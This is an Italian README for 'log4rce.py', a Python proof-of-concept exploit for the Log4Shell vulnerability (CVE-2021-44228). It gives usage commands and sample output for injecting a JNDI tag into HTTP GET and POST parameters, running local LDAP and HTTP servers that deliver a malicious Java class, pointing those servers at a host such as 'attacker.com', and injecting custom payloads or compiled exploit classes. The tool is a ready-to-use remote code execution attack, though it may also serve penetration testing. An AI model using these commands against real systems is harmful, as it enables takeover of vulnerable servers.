
Un PoC tutto-in-uno in puro Python per CVE-2021-44228
Un PoC completo e puro Python3 per CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Questo è uno strumento CLI. Tutte le opzioni si trovano nel menu di aiuto:
python3 log4rce.py --help
L'elenco è piuttosto esteso, pertanto quanto segue riassume le funzionalità.
Lo strumento consente di utilizzare alcune modalità di attacco. Questi attacchi sono estensioni della classe Log4RCE.
Puoi eseguire un attacco automatizzato di richieste HTTP su un URL di destinazione.
Puoi effettuare una richiesta GET come segue:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Puoi effettuare una richiesta POST come segue:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
Il precedente inietterà il tag JNDI in ###.
Se non puoi utilizzare nessuno dei precedenti, usa questa modalità per scaricare il tag JDNI:
python3 log4rce.py manual
Lo strumento consente un'ampia personalizzazione per la maggior parte della configurazione di rete. Tutti i server interni possono essere modificati per puntare a posizioni diverse in base alle impostazioni remote.
Puoi configurare il server HTTP utilizzando i seguenti parametri:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
Puoi configurare il server LDAP utilizzando i seguenti parametri:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
Lo strumento può gestire alcune personalizzazioni. Di seguito sono elencate alcune funzionalità che potrebbero interessarti.
Puoi iniettare un payload nella classe Java utilizzando:
python3 log4rce.py --payload "PAYLOAD"
Il payload verrà iniettato nelle stringhe "###".
Puoi creare la tua classe Java utilizzando quanto segue.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
Il file .class risultante può essere eseguito utilizzando:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Nota: Puoi aggiungere una stringa "###" per consentire l'iniezione del payload.